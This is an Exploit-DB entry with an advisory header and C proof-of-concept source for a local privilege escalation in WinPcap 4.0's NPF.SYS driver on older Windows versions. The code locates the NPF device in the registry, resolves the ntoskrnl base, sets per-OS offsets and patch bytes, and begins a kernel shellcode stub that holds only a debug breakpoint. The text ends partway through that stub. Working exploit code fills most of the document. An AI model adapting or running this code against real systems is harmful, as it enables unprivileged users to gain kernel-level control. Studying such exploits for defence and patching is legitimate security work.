Exploit-DB #4165
Description: WinPcap 4.0 - 'NPF.SYS' Local Privilege Escalation
Type: local
Platform: windows
Date: 2007-07-10
Author: Mario Ballano BÃ¡rcena

Exploit:
/* 
	WinPcap NPF.SYS Privilege Elevation Vulnerability PoC exploit
	-------------------------------------------------------------

	Affected software: 

	(*) WinPcap versions affected (Confirmed)
	
	- WinPcap 4.0 and previous

	(*) WinPcap fixed version (stable) : WinPcap 4.0.1 

	Note : There was an error in the previous advisory, which tells WinPcap 
	       4.1 is affected, in fact WinPcap 4.1 is the beta version. 

    (*) Operating systems affected (Confirmed)
	
	- Windows 2000 SP4 (Both server and workstation) 
	- Windows XP   SP2
	- Windows 2003 Server
	- Windows Vista !!

	Description:

	It's a well known issue that WinPcap security model allows non-administrator 
	users to use its device driver. If they don't manually unload it after using 
	tools such as Wireshark (ethereal), which unfortunatelly oftenly happens, this 
	can lead to unwanted network traffic sniffing and now with the help of this 
	exploit to kernel mode code execution ;-)	
	
	Remarks:
	
	The exploit code is a PoC and was tested only against Windows XP SP2, with minor 
	modifications (delta offsets and changing VirtualAlloc for NtAllocVirtualMemory due
	to base address restrictions in Windows Vista ) should work on all OSes commented 
	above.

	To test the PoC, just pick any software which uses WinPcap like WireShark, then 
	start to sniff in any iface and close it  (so WinPcap device gets up ). Run the 
	exploit code (as guest user if you want) you should hit an int 3 in kernel mode :-)
			
	Vulnerability discovered by:
	
	Mario Ballano BÃ¡rcena,  mballano[_at_]gmail.com 
	
	http://www.48bits.com/
	
	24, April 2007 
		
*/

#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdio.h>

#define IOCTL_BIOCGSTATS 9031
#define OUT_SIZE 0x10
#define NDRIVERS_LIST 100

enum OSes
{
	OS_WXP=1,
	OS_W2K,
	OS_W2K3,
	OS_VISTA
};

#define WXP_DELTA 0xA67FF; // SP2 Fully patched!!
#define W2K_DELTA 0x0;
#define W2K3_DELTA 0x0;
#define WVISTA_DELTA 0x0;

DWORD  g_dwOsVersion        = 0;
LPVOID g_PatchAddress       = NULL;
LPBYTE g_WXP_PATCH_BYTES    = "\x80\x83\xff\x2C\x75\x2F\x53\xE8\xE1\xA2\xF7\xFF\x89\x45\xDC\x85";
LPBYTE g_W2K_PATCH_BYTES    = "\xCC\xCC\xCC";
LPBYTE g_W2K3_PATCH_BYTES   = "\xCC\xCC\xCC";
LPBYTE g_WVISTA_PATCH_BYTES = "\xCC\xCC\xCC";

typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*,
									DWORD ,
									LPDWORD);

typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase,
									char  *lpBaseName,
									DWORD nSize);

typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);

BOOL GetNpfDevice (char *lpNpfDevice)
{
	DWORD  cb,lpType;
	char  *lpList,*tmp;
	HKEY  hkey;
	BOOL   bRes = FALSE;

	lpList = malloc(0x1000);
	memset(lpList,0,0x1000);
	cb = 0x1000;

	if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\EAPOL\\Parameters\\General",0,KEY_READ,&hkey) == ERROR_SUCCESS )
	{
		printf("AQUI");
		if ( RegQueryValueExA( hkey,
							"InterfaceList",
							0,
							&lpType,
							lpList,
							&cb)  == ERROR_SUCCESS )
		{			
			strcpy(lpNpfDevice,"\\\\.\\NPF_");			
			while(*lpList && *lpList !='{') lpList++;
			tmp = lpList;
			while(*lpList && *(lpList) != '}') lpList ++;
			*(++lpList) = '\0';
			strcat(lpNpfDevice,tmp);			
			bRes = TRUE;
		}

	}	

	free(lpList);

	if (!bRes)
	{
		printf("Cannot generate NPF Device Name :-( \n");		
	}

	return bRes;

}

LPVOID GetNtosBase (VOID)
{
	HANDLE hLib;
	PENUMDEVICES pEnumDeviceDrivers;
	PGETDEVNAME  pGetDeviceDriverBaseName;	
	DWORD  lpcbNeeded,i;
	LPVOID NtosBase = NULL;
	LPVOID *lpImageBases = NULL;
	char   lpBaseName[MAX_PATH];

	if ( ( hLib = LoadLibraryA("psapi.dll")) &&
		 ( pEnumDeviceDrivers = (PENUMDEVICES) GetProcAddress(hLib,"EnumDeviceDrivers") ) &&
		 ( pGetDeviceDriverBaseName = (PGETDEVNAME) GetProcAddress(hLib,"GetDeviceDriverBaseNameA")) )
	{

		lpImageBases = malloc( sizeof(LPVOID) * NDRIVERS_LIST );
		pEnumDeviceDrivers(lpImageBases,sizeof(LPVOID) * NDRIVERS_LIST,&lpcbNeeded);
		
		if ( (lpcbNeeded / sizeof(LPVOID)) > NDRIVERS_LIST)
		{
			lpImageBases = realloc(lpImageBases,sizeof(LPVOID) * lpcbNeeded);
			pEnumDeviceDrivers(lpImageBases,lpcbNeeded,&lpcbNeeded);
		}				

		for (i = 0; i < (lpcbNeeded / sizeof(LPVOID)) ; i++ )
		{
			if ( pGetDeviceDriverBaseName(lpImageBases[i],lpBaseName,MAX_PATH) )
			{
				printf ("%s\n",lpBaseName);
				if (!strcmp(lpBaseName,"ntoskrnl.exe"))
				{					
					NtosBase = lpImageBases[i];
					printf("NTOSKRNL Base found at %#p\n",NtosBase);
					break;
				}
			}				
		}

		free(lpImageBases);
	}

	else
	{
		printf("Cannot Load psapi exports!\n");
	}

	return NtosBase;		 
}

DWORD GetOSVersion (VOID)
{
	OSVERSIONINFOA  osvi;
	DWORD retval = 0;

	osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);

	if ( GetVersionExA(&osvi) )
	{
		if (osvi.dwMajorVersion == 5)
		{
			switch(osvi.dwMinorVersion)
			{
				case 0:
					retval = OS_W2K;
					break;
				case 1:
					retval = OS_WXP;
					break;
				case 2:
					retval = OS_W2K3;
					break;
			}
		}	

		else if (osvi.dwMajorVersion == 6)
		{
			retval = OS_VISTA;
		}
	}

	g_dwOsVersion = retval;

	return retval;
}


DWORD GetNtosDelta (VOID)
{
	DWORD retval = 0;

	switch(GetOSVersion())
	{
		case OS_VISTA:
			printf("System identified as Windows Vista\n");
			retval = WVISTA_DELTA;
			break;
		case OS_W2K:
			printf("System identified as Windows 2000\n");
			retval = W2K_DELTA;
			break;
		case OS_W2K3:
			printf("System identified as Windows 2003\n");
			retval = W2K3_DELTA;
			break;
		case OS_WXP:
			printf("System identified as Windows XP\n");
			retval = WXP_DELTA;
			break;
		default:
			printf("Unidentified system!\n");
	}

	return retval;
		
}

__declspec( naked ) void ShellCode (VOID)
{	
	// Just debug it, to check code execution ;-)

	__asm int 3;

	// The patch _should_ be do